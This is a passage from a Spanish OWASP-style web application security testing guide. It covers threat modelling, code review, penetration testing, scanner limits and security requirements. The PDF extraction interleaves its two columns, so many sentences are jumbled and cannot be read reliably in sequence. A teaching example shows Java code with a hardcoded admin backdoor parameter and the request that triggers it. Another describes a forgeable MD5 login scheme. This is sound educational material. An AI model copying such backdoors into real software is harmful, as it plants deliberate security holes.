discusiones deben llevarse a cabo con consejo legal para asegurarse de que se aplicacin y considerarla completa. Esto generar una falsa sensacin de confianza
cumplan los requisitos de seguridad especficos. En E.E.U.U., los requisitos que puede ser tan peligrosa como el no haber hecho una revisin de seguridad
podran venir de regulaciones federales, como la ley de Gramm-Leach-Bliley [8], o desde un inicio. Es vital revisar los hallazgos y descartar
de las leyes estatales, como la ley de California SB-1386 [9]. Para organizaciones
con sede en pases de la UE, tanto los reglamentos del pas como las directivas de
la UE pueden aplicar. Por ejemplo, la Directiva 96/46/EC4 [10] que obliga a tratar
los datos personales con el debido cuidado, cualquiera que sea la aplicacin. cualquier falso positivo que pueda haber en el informe. Reportar un hallazgo de
seguridad incorrecto a menudo puede minar la validez del resto del informe de
seguridad. Debe tener cuidado de verificar que cada seccin de la lgica de la
aplicacin ha sido probada, y que cada escenario de casos de usos fue explorado
Desarrollar la mentalidad correcta para encontrar posibles vulnerabilidades.
Probar exitosamente una aplicacin contra vulnerabilidades de seguridad requiere

pensar "fuera de la caja." Casos de uso habitual pondrn a prueba el
comportamiento normal de la aplicacin cuando un usuario la est utilizando de la Use el cdigo fuente cuando est disponible
manera esperada. Una buena prueba de seguridad requiere ir ms all de lo que se
espera y pensar como un atacante que est tratando de penetrar en la aplicacin. El Aunque las pruebas de penetracin de Caja Negra pueden ser impresionantes y
pensamiento creativo puede ayudar a determinar qu datos inesperados pueden tiles para demostrar cmo las vulnerabilidades estn expuestas en un entorno de
causar que una aplicacin falle de manera insegura. Tambin puede ayudar a produccin, no son la manera ms eficaz o eficiente para asegurar una aplicacin.
encontrar las suposiciones hechas por los desarrolladores web que no siempre son Es difcil, con una prueba dinmica, probar todo el cdigo base, particularmente si
verdaderas y cmo pueden ser subvertidas. Una de las razones por las que las existen muchos condicionales anidados. Si el cdigo fuente de la aplicacin est

15
disponible, debera entregarse al personal de seguridad para ayudar a realizar su Utilizar una plantilla de informe de pruebas de seguridad puede ahorrar
revisin. Es posible descubrir vulnerabilidades dentro de la fuente de la aplicacin tiempo y asegurar que los resultados sean documentados con precisin y
que pasaron desapercibidas con la prueba de la Caja Negra. consistencia y estn en un formato adecuado para el grupo objetivo.
Desarrollar mtricas
Una parte importante de un buen programa de seguridad es su capacidad para

Explicacin de las tcnicas de
determinar si las cosas estn mejorando. Es importante hacer seguimiento a
los resultados de la prueba y desarrollar indicadores (mtricas) que revelen las
prueba
tendencias de seguridad de la aplicacin dentro de la organizacin.
Unas buenas mtricas mostrarn:

Esta seccin presenta un resumen de alto nivel de diferentes tcnicas de
prueba que se pueden emplear al crear un programa de pruebas. No presenta
metodologas especficas para estas tcnicas ya que esta informacin est
Si se requiere ms educacin y entrenamiento; cubierta en el captulo 3. Esta seccin se incluye para proporcionar un
contexto para el marco de referencia que se presenta en el prximo captulo y
Si existe un mecanismo de seguridad en particular que no ha sido entendido para resaltar las ventajas y desventajas de algunas de las tcnicas que se deben
claramente por el equipo de desarrollo; considerar. En particular, cubrimos:
Si el nmero total de problemas encontrados, relacionados con la seguridad, ha

disminuido mes a mes.
Inspecciones y Revisiones Manuales
Modelado de Amenazas
Las mtricas constantes que se pueden generar de manera automatizada desde
el cdigo fuente disponible tambin ayudarn a la organizacin en la
Revisin de Cdigo
evaluacin de la efectividad de los mecanismos creados para reducir los fallos
de seguridad en el desarrollo de software. Las mtricas no se desarrollan
Pruebas de Penetracin
fcilmente, as que usar mtricas estndar como las previstas por el proyecto
de mtricas OWASP y otras organizaciones es un buen punto de partida.
Inspecciones y Revisiones Manuales

Documente los resultados de las pruebas
Resumen
Para concluir el proceso de pruebas, es importante generar un registro formal
de las acciones de prueba que fueron tomadas, por quines, cundo se
Las inspecciones manuales son revisiones realizadas por humanos, que
realizaron y los detalles de los resultados de la prueba. Es conveniente acordar
prueban tpicamente las implicaciones de seguridad de las personas, polticas
un formato aprobado para el informe, que sea til para todas las partes
y procesos. Las inspecciones manuales tambin pueden incluir la verificacin
interesadas, que puede incluir desarrolladores, gerentes de proyectos, dueos
de las decisiones de tecnologa tales como diseos arquitectnicos.
de negocios, departamento de tecnologa, auditora y cumplimiento.
Generalmente se realizan analizando documentacin o realizando entrevistas
con los diseadores o dueos del sistema.
Aunque el concepto de inspecciones manuales y revisiones humanas es

El informe debe ser claro para que el dueo del negocio identifique dnde
simple, estas pueden estar entre las tcnicas disponibles ms poderosas y
existen riesgos materiales, y suficiente para obtener su respaldo para acciones
eficaces. Preguntando a alguien cmo funciona algo y por qu se aplic de
de mitigacin posteriores. El informe tambin debe ser claro para el
una manera especfica, el evaluador puede determinar rpidamente si alguna
desarrollador para poder precisar la funcin exacta que se ve afectada por la
duda de seguridad es evidente. Las revisiones y controles manuales son
vulnerabilidad y recomendaciones asociadas para resolver los problemas en
algunas de las contadas maneras para probar el proceso mismo del ciclo de
un lenguaje que entienda el desarrollador. El informe tambin deber permitir
vida de desarrollo del software y para asegurar que existe una adecuada
que otro tcnico de seguridad pueda reproducir los resultados. La redaccin
poltica o habilidad.
del informe no debe ser una carga para el mismo tcnico de seguridad. Los
tcnicos de seguridad no son generalmente reconocidos por sus habilidades de
escritura creativa, y generar un informe complejo puede llevar a instancias
donde los resultados de la prueba no sean correctamente documentados.

16
Como con muchas cosas en la vida, al realizar inspecciones manuales y Para desarrollar un modelo de amenazas, se recomienda adoptar un enfoque
revisiones, es recomendable adoptar un modelo de "confe pero verifique". No simple que sigue el estndar NIST 800-30 [11] de evaluacin del riesgo. Este
todo lo que el evaluador muestre o diga ser preciso. enfoque implica:
Las revisiones manuales son particularmente buenas para probar si las

personas entienden el proceso de seguridad, han sido concientizadas sobre la
poltica y tienen las habilidades apropiadas para disear o implementar una
aplicacin segura.
Descomposicin de la aplicacin - utilice un proceso de inspeccin manual
Otras actividades, como revisar manualmente la documentacin, polticas de
para entender cmo funciona la aplicacin, sus activos, funcionalidad y
codificacin seguras, requisitos de seguridad y diseos arquitectnicos, deben
conectividad.
ser cumplidas mediante una inspeccin manual.
Definir y clasificar los activos clasifique los activos en tangibles e
intangibles y ordnelos segn la importancia del negocio.
Ventajas: Explorar posibles vulnerabilidades - sean tcnicas, operacionales o de

administracin.
No requieren de tecnologa de apoyo.
Explorar posibles amenazas - desarrolle una visin realista de los posibles
Se pueden aplicar a una variedad de situaciones. vectores de ataque desde la perspectiva de un atacante, mediante el uso de
escenarios de amenaza o rboles de ataque.
Son flexibles.
Promueven el trabajo en equipo.

Crear estrategias de mitigacin - desarrollando controles de mitigacin para
Se inician temprano en el SDLC. cada una de las amenazas consideradas realistas.
Desventajas: El reporte de un modelo de amenaza en s puede variar, pero, por lo general, es

una coleccin de listas y diagramas. La gua de Revisin de Cdigos de
Pueden desperdiciar el tiempo.
OWASP describe una metodologa de un modelo de amenazas para
aplicaciones, que puede utilizarse como referencia para las aplicaciones de
El material de apoyo material no siempre est disponible.
prueba de posibles fallos de seguridad en el diseo de la aplicacin. No existe
ninguna forma correcta o incorrecta para desarrollar modelos de amenaza y
Requieren significativamente del pensamiento humano y la habilidad para
realizar evaluaciones de riesgos de informacin en las aplicaciones. [12].
ser eficaces.
Ventajas:
Creacin de modelos de amenazas
Vista prctica del sistema desde el punto de vista del atacante.
Resumen Flexible
La creacin de modelos de amenazas se ha convertido en una tcnica popular Se inicia temprano en el SDLC.
para ayudar a los diseadores de sistemas a pensar sobre las amenazas de
seguridad que podran enfrentar sus sistemas y aplicaciones. Por lo tanto, la
creacin de modelos de amenazas puede verse como la evaluacin de riesgo
para las aplicaciones. De hecho, permite al diseador desarrollar estrategias de Desventajas:
mitigacin para las vulnerabilidades potenciales y les ayuda a focalizar su
inevitable escasez de recursos y atencin en las partes del sistema que ms lo Tcnica relativamente nueva.
requiere. Se recomienda que todas las aplicaciones tengan un modelaje de
amenazas desarrollado y documentado. Los modelos de amenazas deben Buenos modelos de amenazas no significan automticamente buenas
crearse lo antes posible en el SDLC y deben ser revisados mientras evoluciona aplicaciones.
la aplicacin y el desarrollo progresa.

17
Revisin de cdigo fuente Requiere de desarrolladores expertos de seguridad.
Puede saltarse temas en bibliotecas compiladas.

Resumen
No puede detectar fcilmente errores de tiempo de ejecucin.
La revisin del cdigo fuente es el proceso de comprobar manualmente el
cdigo fuente de una aplicacin web por cuestiones de seguridad. Muchas
El cdigo fuente desplegado puede diferir del que se analiza.
vulnerabilidades serias de seguridad no pueden ser detectadas mediante otra
forma de anlisis o pruebas. Como dice el dicho popular "Si usted quiere saber
lo que realmente est pasando, vaya directamente a la fuente". Casi todos los
expertos en seguridad estn de acuerdo en
Para ms informacin sobre revisin de cdigo, investigue el proyecto de
revisin de cdigo OWASP.
que no existe un sustituto para revisar el cdigo. Toda la informacin para

identificar problemas de seguridad existe en alguna parte del cdigo. A
Pruebas de penetracin
diferencia de las pruebas de software cerrado externo, tales como los sistemas
operativos, al probar aplicaciones web (sobre todo si han sido desarrolladas en
Resumen
la empresa), el cdigo fuente debe estar disponible para propsitos de prueba.
Las pruebas de penetracin han sido, por muchos aos, una tcnica comn
utilizada para probar la seguridad de la red. Tambin se las conoce
comnmente como pruebas de Caja Negra o piratera (hacking) tica. Las
Muchos problemas de seguridad no intencionales, pero significativos, son
pruebas de penetracin son esencialmente el "arte" de probar una aplicacin
tambin extremadamente difciles de descubrir mediante otras formas de
en ejecucin remotamente para encontrar vulnerabilidades de seguridad, sin
anlisis o pruebas, como las pruebas de penetracin; hacen del anlisis de
saber el funcionamiento interno de la aplicacin. Por lo general, el equipo de
cdigo fuente la tcnica elegida para la prueba tcnica. Con el cdigo fuente,
pruebas de penetracin tendra acceso a una aplicacin como si fuera usuario.
un evaluador puede determinar con precisin lo que est sucediendo (o se
El evaluador acta como un intruso e intenta encontrar y explotar
supone que sucede) y eliminar la conjetura de la prueba de Caja Negra.
vulnerabilidades. En muchos casos, al evaluador se le dar una cuenta vlida
en el sistema.
Ejemplos de temas que son especialmente propicios para ser encontrados a

travs de revisiones de cdigo fuente incluyen problemas de concurrencia,
Mientras que las pruebas de penetracin han demostrado ser eficaces en la
lgica de negocio imperfecto, problemas de control de acceso y debilidades
seguridad de la red, la tcnica no se traduce naturalmente a las aplicaciones.
criptogrficas, as como puertas traseras, troyanos, huevos de pascua, bombas
Cuando se realizan pruebas de penetracin en redes y sistemas operativos, la
de tiempo, bombas lgicas y otras formas de cdigo malicioso. Estos
mayora del trabajo est relacionado con encontrar y luego explotar
problemas a menudo se manifiestan como las ms nefastas vulnerabilidades
vulnerabilidades conocidas en tecnologas
en sitios web. El anlisis de cdigo fuente tambin puede ser extremadamente
eficiente para encontrar problemas de implementacin tales como lugares
donde no se realiz la validacin de entrada o cuando los procedimientos de
control abierto de fallas pueden estar presentes. Pero tenga en cuenta qu los
especficas. Como las aplicaciones web son bsicamente hechas a la medida,
procedimientos operacionales deben revisarse, ya que el cdigo fuente que
las pruebas de penetracin en el campo de las aplicaciones web son ms
est implementando no sera el mismo que el analizado en este documento
parecidas a la investigacin pura. Se han desarrollado herramientas de pruebas
[13].
de penetracin que automatizan el proceso, pero por la naturaleza de las
aplicaciones web, su eficacia es generalmente pobre.
Ventajas:
Muchas personas utilizan hoy en da las pruebas de penetracin como su
Finalizacin y efectividad.
tcnica de pruebas de seguridad primaria. Aunque ciertamente tiene su lugar en
un programa de pruebas, no creemos que debe ser considerada como la tcnica
Precisin.
principal o la nica. Gary McGraw en [14] resumi bien a las pruebas de
Es rpida (para correctores competentes). penetracin cuando dijo: "Si fallas una prueba de penetracin, sabes que tienes
un problema muy malo en verdad. Si pasas una prueba de penetracin, no sabes
si tienes un problema muy malo". Sin embargo, las pruebas de penetracin
focalizadas (es decir, pruebas que buscan explotar vulnerabilidades conocidas
Desventajas: y detectadas en revisiones anteriores) pueden ser tiles en la deteccin si

18
realmente se arreglan algunas vulnerabilidades especficas en el cdigo desafen todos los supuestos, tales como el no acceso al cdigo fuente y el explorar
desplegado en el sitio web. la posibilidad de realizar pruebas ms completas.
Ventajas: Un enfoque equilibrado vara dependiendo de muchos factores, tales como la

madurez del proceso de prueba y la cultura corporativa. Se recomienda que un
Puede ser rpida (y por lo tanto econmica). marco de pruebas equilibrado se vea como las representaciones que se muestran en
la Figura 3 y Figura 4. La siguiente figura muestra una tpica representacin
Requiere de un conjunto de habilidades relativamente inferior al requerido proporcional sobrepuesta al ciclo de vida de desarrollo de software. Para
para revisin de cdigo fuente. mantenerse al nivel de la investigacin y la experiencia, es esencial que las
empresas pongan un mayor nfasis en las primeras etapas de desarrollo.
Prueba el cdigo que realmente se est exponiendo.
Figura 3: Proporcin esfuerzo en pruebas en el SDLC

Desventajas:
Se realiza demasiado tarde en el SDLC.
Es solamente una prueba de impacto frontal.
La necesidad de un enfoque equilibrado
Con tantas tcnicas y enfoques para probar la seguridad de aplicaciones web,

puede ser difcil entender qu tcnicas usar y cundo usarlas. La experiencia
demuestra que no existe una respuesta correcta o incorrecta a la pregunta sobre
qu tcnicas exactas pueden usarse para construir un marco conceptual de
pruebas. De hecho, todas las tcnicas probablemente pueden usarse para poner
a prueba todas las reas que necesitan ser probadas.
Aunque es claro que no existe una tcnica nica que pueda realizarse para cubrir
eficientemente todas las pruebas de seguridad y asegurarse de que todos los temas En la siguiente figura se muestra una tpica representacin proporcional
sobrepuesta a las pruebas tcnicas.
han sido abordados, muchas empresas adoptan slo una aproximacin. El enfoque
utilizado ha sido histricamente pruebas de penetracin. Las pruebas de
penetracin, aunque tiles, no pueden abordar eficazmente muchos de los temas
que deben analizarse. Simplemente es "muy poco y muy tarde" en el ciclo de vida
del desarrollo de software (SDLC). Figura 4: Proporcin de prueba de esfuerzo segn prueba tcnica
El enfoque correcto es un enfoque equilibrado que incluye varias tcnicas, desde

revisiones manuales a pruebas tcnicas. Un enfoque equilibrado debe cubrir las
pruebas en todas las fases del SDLC. Este enfoque aprovecha las tcnicas ms
apropiadas disponibles, dependiendo de la fase actual de SDLC.
Por supuesto, hay momentos y circunstancias donde solo es posible usar una
tcnica. Por ejemplo, una prueba en una aplicacin web que ya ha sido creada, pero
donde el grupo de pruebas no tiene acceso al cdigo fuente. En este caso, las
pruebas de penetracin son claramente mejores que no hacer ninguna prueba en
absoluto. Sin embargo, se recomienda que las personas encargadas de la prueba
Una nota acerca de los escneres de aplicaciones Web:

19
Muchas organizaciones han empezado a utilizar escneres de aplicaciones web Mirando el cdigo, la vulnerabilidad prcticamente salta de la pgina como un
automatizados. Aunque sin duda tienen su lugar en un programa de pruebas, problema potencial.
algunos temas fundamentales deben ser resaltados porque se cree que las pruebas
de Caja Negra automatizadas no son (o sern algn da) eficaces. Sin embargo,
destacar estos temas no debera desalentar el uso de los escneres de aplicacin
web. Por el contrario, el objetivo es asegurar que se entienden las limitaciones y, Ejemplo 2: Mala criptografa
as, los marcos de pruebas se planeen adecuadamente.
La criptografa es ampliamente utilizada en aplicaciones web. Imagine que un
desarrollador decidi escribir un algoritmo de criptografa simple para autenticar un
usuario desde el sitio A al sitio B automticamente. En su sabidura, el
Importante: OWASP actualmente est trabajando para desarrollar una plataforma desarrollador decide que si un usuario est conectado en el sitio A, entonces
de escaneo mediante una evaluacin comparativa. Los ejemplos siguientes generar una clave utilizando una funcin de hash MD5 que comprende: Hash
muestran por qu las pruebas automatizadas de Caja Negra son ineficaces. {username: fecha}.
'Ejemplo 1: Los parmetros mgicos' Cuando un usuario se pasa al sitio B, l o ella le enviar la clave en la cadena de
consulta al sitio B en el re direccionamiento HTTP. El sitio B independientemente
Imagine una aplicacin web simple que acepte un par nombre-valor de "magia" y calcula el valor hash y compara con el hash pasado en la peticin. Si coinciden, el
luego el valor. Para simplificar, la solicitud GET puede ser: sitio B autentica al usuario como dice ser.
http://www.host/application?magic=value Al explicar el esquema, las deficiencias pueden trabajarse. Cualquiera que entienda
el esquema (o se le diga cmo funciona, o descargue la informacin de Bugtraq)
Para simplificar ms el ejemplo, los valores en este caso solo pueden ser caracteres puede iniciar una sesin como cualquier usuario.
ASCII a-z (maysculas o minsculas) y nmeros enteros 0 9.
La inspeccin manual, como una revisin o inspeccin de cdigo, habra
descubierto rpidamente este problema de seguridad. Un escner de aplicaciones
web de Caja Negra no habra descubierto la vulnerabilidad. Habra visto un hash de
Los diseadores de esta aplicacin crearon una puerta trasera de administracin 128 bits que cambia con cada usuario, y por la naturaleza de las funciones hash, no
durante la prueba, pero la ofuscaron para evitar que un observador casual pueda cambi en una manera predecible.
descubrirla. Enviando el valor sf8g7sfjdsurtsdieerwqredsgnfg8d (31 caracteres), el
usuario, entonces, se conectar y tendr una pantalla administrativa con el control Una nota sobre las herramientas de revisin de cdigos fuente estticas:
total de la aplicacin. La solicitud HTTP es ahora:
Muchas organizaciones han comenzado a usar escneres estticos de cdigos
http://www.host/application?magic=sf8g7sfjdsurtsdieerwqredsgnfg8d fuente. Aunque, sin duda, tienen un lugar en un programa de pruebas
comprehensivo, es necesario resaltar algunas cuestiones fundamentales acerca de
por qu este enfoque no es eficaz cuando se utiliza solo. El anlisis de cdigo
fuente esttico no puede identificar los problemas debidos a fallas en el diseo, ya
Dado que todos los otros parmetros fueron campos simples de dos y tres que no puede entender el
caracteres, no es posible adivinar combinaciones de aproximadamente 28
caracteres. Se necesitara la fuerza bruta de un escner de aplicaciones web (o
adivinar) para encontrar todo el espacio de clave de 30 caracteres. Que es hasta 30 ^
28 permutaciones, o trillones de peticiones HTTP. Esto es un electrn en un pajar contexto en el que se construye el cdigo. Las herramientas de anlisis de cdigo
digital. fuente son tiles en la determinacin de problemas de seguridad debido a errores de
codificacin; sin embargo, se requiere un esfuerzo manual significativo para validar
los resultados.
La verificacin del cdigo de este parmetro mgico ejemplar puede verse a

continuacin:
Derivar requerimientos de prueba de seguridad
public void doPost( HttpServletRequest request, HttpServletResponse
Para tener un programa de pruebas exitoso, uno debe saber cules son los objetivos
response)
de la prueba. Estos objetivos se especifican en los requisitos de seguridad. Esta
seccin explica en detalle cmo documentar los requisitos de las pruebas de
{
seguridad, derivndolos de reglamentos y normas aplicables y de los requisitos
String magic = sf8g7sfjdsurtsdieerwqredsgnfg8d; positivos y negativos de la aplicacin. Tambin habla de cmo los requisitos de
boolean admin = magic.equals( request.getParameter(magic));
20
if (admin) doAdmin( request, response);
else . // normal processing

seguridad conducen efectivamente las pruebas de seguridad durante el SDLC y Otra seccin de la lista de verificacin debe cumplir con los requisitos generales
cmo se pueden utilizar los datos de pruebas de seguridad para gestionar para el cumplimiento de las polticas y normas de seguridad de informacin de la
eficazmente los riesgos de seguridad de software. organizacin. Desde la perspectiva de los requisitos funcionales, los requisitos para
el control de seguridad deben guiar a una seccin especfica de las normas de
seguridad de la informacin. Un ejemplo de tal requisito puede ser: "la complejidad
de la contrasea de seis caracteres alfanumricos debe aplicarse por los controles de
Objetivos de realizar pruebas autenticacin utilizados por la aplicacin". Cuando los requisitos de seguridad
apuntan hacia normas que deben ser cumplidas, una prueba de seguridad puede
Uno de los objetivos de las pruebas de seguridad es validar que los controles de validar la exposicin de riesgos de cumplimiento. Si se encuentra una violacin a
seguridad funcionan como se espera. Esto se documenta por medio de requisitos de las polticas y normas de seguridad de la informacin, sta resultar en un riesgo
seguridad que describen la funcionalidad del control de seguridad. En un nivel alto, que puede ser documentado y que la empresa tiene que gestionar. Puesto que estos
esto significa comprobar la confidencialidad, integridad y disponibilidad de los requisitos de seguridad son exigibles, estos deben estar bien documentados y
datos, as como el servicio. El otro objetivo es validar que los controles de validados con pruebas de seguridad.
seguridad se implementen con pocas o ninguna vulnerabilidad. Hay
vulnerabilidades comunes, tales como el OWASP Top Ten, as como las
vulnerabilidades que se han identificado previamente en evaluaciones de seguridad
durante el SDLC, como modelaje de amenazas, anlisis de cdigo fuente y prueba Validacin de requisitos de seguridad
de penetracin.
Desde la perspectiva de funcionalidad, la validacin de requisitos de seguridad
Documentacin de requisitos de seguridad es el principal objetivo de las pruebas de seguridad. Desde la perspectiva de la
gestin de riesgo, la validacin de requisitos de seguridad es el objetivo de las
El primer paso en la documentacin de requisitos de seguridad es entender los evaluaciones de seguridad de informacin. En un nivel alto, el principal objetivo
requerimientos del negocio. Un documento de requisitos del negocio puede de las evaluaciones de seguridad de informacin es la identificacin de grietas en
proporcionar informacin inicial de alto nivel sobre la funcionalidad esperada de la los controles de seguridad, tales como la falta de controles bsicos de
aplicacin. Por ejemplo, el propsito principal de una aplicacin puede ser autenticacin, autorizacin o controles de encriptado. Ms a profundidad, el
proporcionar servicios financieros a clientes o permitir adquirir bienes de un objetivo de la evaluacin de seguridad es el anlisis de riesgo, tal como la
catlogo en lnea. Una seccin de seguridad de los requerimientos del negocio debe identificacin de las debilidades potenciales en los controles de seguridad que
resaltar la necesidad de proteger los datos del cliente, as como cumplir con la garanticen la confidencialidad, integridad y disponibilidad de los datos. Por
documentacin de seguridad aplicable, tal como regulaciones, estndares y ejemplo, cuando la aplicacin trata con informacin personal identificable (PII)
polticas. y datos sensibles, el requisito de seguridad a validar es el cumplimiento de las
polticas de seguridad de la empresa en cuanto al encriptado de la informacin
de dichos datos tanto en trnsito como en almacenamiento.
Una lista general de las regulaciones, estndares y polticas es un buen anlisis de Asumiendo que el cifrado se utiliza para proteger los datos, los algoritmos de
cumplimiento de seguridad preliminar para las aplicaciones web. Por ejemplo, el cifrado y longitud de claves deben cumplir con los estndares de encriptacin de
cumplimiento de las reglamentaciones puede identificarse revisando informacin la organizacin. Estos pueden requerir que solo se utilice ciertos algoritmos y
del sector empresarial y del pas o estado donde funcionar la aplicacin. Algunas longitudes de clave. Por ejemplo, un requisito de seguridad que puede ser
de estas normas y directrices de cumplimiento podran traducirse en requerimientos probado es verificar que se utilizan slo cdigos permitidos (por ejemplo, SHA-
tcnicos especficos para controles de seguridad. Por ejemplo, en el caso de 256, RSA, AES) con longitud de claves mnimas permitidas (por ejemplo, ms
aplicaciones financieras, el cumplimiento de las pautas de la FFIEC para de 128 bits para encriptado simtrico y de ms de 1024 para encriptado
autenticacin [15] requiere que las instituciones financieras implementen asimtrico).
aplicaciones que mitiguen los riesgos de autenticacin dbil con autenticacin de
mltiples etapas y control de seguridad multifactorial.
Desde la perspectiva de la evaluacin de seguridad, los requisitos de seguridad

pueden ser validados en diferentes fases de la SDLC utilizando diferentes
Los estndares aplicables para la seguridad deben tambin estar capturados en la artefactos y metodologas de prueba. Por ejemplo, la creacin de modelos de
lista de verificacin de requisitos generales de seguridad. Por ejemplo, en el caso de amenazas se centra en la identificacin de fallas de seguridad durante el diseo,
aplicaciones que manejan datos de tarjetas de crdito del cliente, el cumplimiento anlisis del cdigo de seguridad; las revisiones se centran en identificar
con el estndar PCI DSS [16] prohbe el almacenamiento de informacin de PINS problemas de seguridad en el cdigo fuente durante el desarrollo, y las pruebas
y datos CVV2 y requiere que el comerciante proteja los datos de la banda de penetracin se centran en la identificacin de vulnerabilidades en la
magntica en el almacenamiento y transmisin mediante encriptacin y en pantalla aplicacin durante la prueba o validacin.
mediante enmascarar los datos. Estos requisitos de seguridad PCI DSS pudieran ser
validados a travs del anlisis del cdigo fuente.
Los problemas de seguridad que se identifican temprano en el SDLC se pueden

documentar en un plan de pruebas para ser validadas posteriormente con pruebas
de seguridad. Combinando los resultados de las diferentes tcnicas de prueba, es
21
posible derivar mejor los casos de prueba de seguridad y aumentar el nivel de una funcin hash para cifrar una contrasea, sin la aplicacin de una semilla en
proteccin de los requisitos de seguridad. Por ejemplo, distinguir las verdaderas el valor. Desde la perspectiva de codificacin segura, se trata de una
vulnerabilidades de los no-explotables es posible cuando se combinan los vulnerabilidad que afecta a la encriptacin usada para la autenticacin con una
resultados de pruebas de penetracin y anlisis de cdigo fuente. Considerando vulnerabilidad cuya causa est en el error de codificacin. Puesto que la causa es
la prueba de seguridad para una vulnerabilidad de inyeccin de un S L, por una codificacin insegura, el requisito de seguridad puede ser documentado en
ejemplo una prueba de Caja Negra,en primer lugar, podra involucrar un anlisis las normas de codificacin seguras y validado a travs de revisiones de cdigo
de la aplicacin para identificar la vulnerabilidad. La primera evidencia de una seguro durante la fase de desarrollo de la SDLC.
potencial vulnerabilidad de inyeccin de una SQL que puede ser validada es la
generacin de una excepcin de la SQL. Una
Pruebas de seguridad y Anlisis de riesgos
validacin posterior de la vulnerabilidad de la SQL puede implicar inyectar Los requerimientos de seguridad deben tomar en cuenta la gravedad de las
manualmente vectores de ataque para modificar la gramtica de la consulta SQL vulnerabilidades para apoyar una estrategia de mitigacin de riesgo. Asumiendo
para explotar la divulgacin de la informacin. Esto podra involucrar una gran que la organizacin mantiene un registro de vulnerabilidades en aplicaciones (es
cantidad de anlisis de ensayo y error hasta que la consulta daina se ejecute. decir, una base de conocimiento de vulnerabilidades), los temas de seguridad
Suponiendo que el evaluador tenga el cdigo fuente, ella puede aprender a partir pueden ser reportados por tema, tipo, causa principal, mitigacin y direccionados
del anlisis de cdigo fuente, como construir el vector de ataque de la SQL que a las aplicaciones donde se encuentran. Tal base de conocimiento de
puede explotar la vulnerabilidad (por ejemplo, ejecutar una consulta maliciosa vulnerabilidades tambin puede utilizarse para establecer mtricas para analizar
que devuelve datos confidenciales a un usuario no autorizado). la eficacia de las pruebas de seguridad en el SDLC.
Taxonomas de las amenazas y defensas
La clasificacin de amenazas y defensas, que considera la raz de las Por ejemplo, considere un problema de validacin de entrada, como una
vulnerabilidades, es el factor crtico en la verificacin de que los controles de inyeccin de SQL, que se identific a travs del anlisis del cdigo fuente y
seguridad sean diseados, codificados y construidos para mitigar el impacto de registrado con una causa principal de error de codificacin y tipo, una
la exposicin de esas vulnerabilidades. En el caso de las aplicaciones web, la vulnerabilidad de validacin de entrada. La exposicin de esta vulnerabilidad
exposicin de los controles de seguridad para vulnerabilidades comunes, tales puede ser evaluada mediante una prueba de penetracin, mediante el anlisis de
como el OWASP Top Ten, puede ser un buen punto de partida para derivar los campos de entrada con varios vectores de ataque de inyeccin de SQL. Esta
requisitos generales de seguridad. Ms concretamente, el framework de prueba puede validar que los caracteres especiales son filtrados antes de llegar a
seguridad de aplicaciones web [17] proporciona una clasificacin (por ejemplo la base de datos y mitigan la vulnerabilidad. Combinando los resultados del
taxonoma) de vulnerabilidades que pueden ser documentadas en diferentes anlisis de cdigo fuente y pruebas de penetracin es posible determinar la
guas y estndares diferentes y validados con pruebas de seguridad. probabilidad y la exposicin a la vulnerabilidad y calcular la calificacin de
riesgo de la vulnerabilidad. Informando las calificaciones de riesgo de
vulnerabilidad en los resultados (por ejemplo, informe de pruebas) es posible
decidir sobre la estrategia de mitigacin. Por ejemplo, las vulnerabilidades de
El foco de una categorizacin de amenazas y defensas es definir los requisitos de mediano y alto riesgo pueden priorizarse para ser remediadas, mientras que las
seguridad en cuanto a las amenazas y la causa principal de la vulnerabilidad. de bajo riesgo se pueden arreglar en las siguientes versiones.
Una amenaza puede ser categorizada usando STRIDE [18] como Suplantacin
de identidad, Manipulacin, Repudio, revelacin de Informacin, Negacin de
servicio y Elevacin de privilegios. La causa puede calificarse como falla de
seguridad en el diseo, un error de seguridad en la codificacin o un problema Teniendo en cuenta los escenarios de amenaza de la explotacin de
debido a una configuracin insegura. Por ejemplo, la causa de la vulnerabilidad vulnerabilidades comunes, es posible identificar los riesgos potenciales que
de autenticacin dbil podra ser la falta de autenticacin mutua cuando los datos deben probarse en el control de seguridad de la aplicacin. Por ejemplo, las diez
cruzan un lmite de confianza entre los niveles del cliente y de ensambles del vulnerabilidades ms importantes de OWASP pueden ser direccionadas a
servidor de la aplicacin. Un requisito de seguridad que capture la amenaza de ataques como el fraude electrnico (phishing), violaciones de privacidad, robo
no repudio durante una revisin del diseo de arquitectura permite la de identidad, sistema comprometido, alteracin de datos o destruccin de datos,
documentacin del requisito de defensa (por ejemplo, autenticacin mutua) que prdidas financieras y prdida de reputacin. Estos temas deberan documentarse
puede ser validada posteriormente con pruebas de seguridad. como parte de los escenarios de amenaza. Pensando en trminos de amenazas y
vulnerabilidades, es posible disear una batera de pruebas que simulen estos
escenarios de ataque. Idealmente, la base de conocimientos de vulnerabilidades
de la organizacin puede utilizarse para derivar pruebas de seguridad dirigidas
Una categorizacin de amenazas y defensas para las vulnerabilidades puede por los casos de riesgos de seguridad para validar los escenarios de ataque ms
utilizarse tambin para documentar requerimientos de seguridad de la probables. Por ejemplo, si el robo de identidad se considera de alto riesgo,
codificacin segura como estndares de codificacin seguras. Un ejemplo de un escenarios de prueba negativos deben validar la mitigacin de los impactos
error de codificacin comn en los controles de autenticacin consiste en aplicar

22
derivados de la explotacin de las vulnerabilidades de autenticacin, controles La plantilla de restablecimiento de contrasea debe validar el nombre de
criptogrficos, validacin del ingreso y controles de validacin. usuario y el email del usuario registrado antes de enviar la contrasea temporal
del usuario por correo electrnico. La contrasea temporal emitida debe ser una
contrasea de un solo uso. Se enviar un enlace a la pgina de restablecimiento
de contrasea al usuario. La pgina de restablecimiento de contrasea debe
validar la contrasea temporal del usuario, la contrasea nueva, as como la
respuesta del usuario a la pregunta de desafo.
Derivacin de requisitos de pruebas de seguridad

funcionales y no funcionales
Requisitos de seguridad a causa del riesgo
Requerimientos de seguridad funcional
Las pruebas de seguridad deben ser dirigidas de acuerdo al riesgo; esto significa
que necesitan validar la aplicacin de un comportamiento inesperado. stos
tambin se llaman "requisitos negativos", ya que especifican lo que no debe
Desde la perspectiva de los requisitos de seguridad funcional, las normas hacer la aplicacin.
aplicables, las reglamentaciones y polticas conducen tanto a la necesidad de un
tipo de control de seguridad, as como a la funcionalidad del control. Estos
requisitos tambin se denominan "requisitos positivos", ya que aseguran la
Ejemplos de requisitos negativos son:
funcionalidad prevista a travs de pruebas de seguridad. Ejemplos de requisitos
positivos son: "la aplicacin bloquear al usuario despus de seis intentos
fallidos de ingreso" o "las contraseas deben tener un mnimo de seis caracteres
alfanumricos". La validacin de requisitos positivos consiste en afirmar la
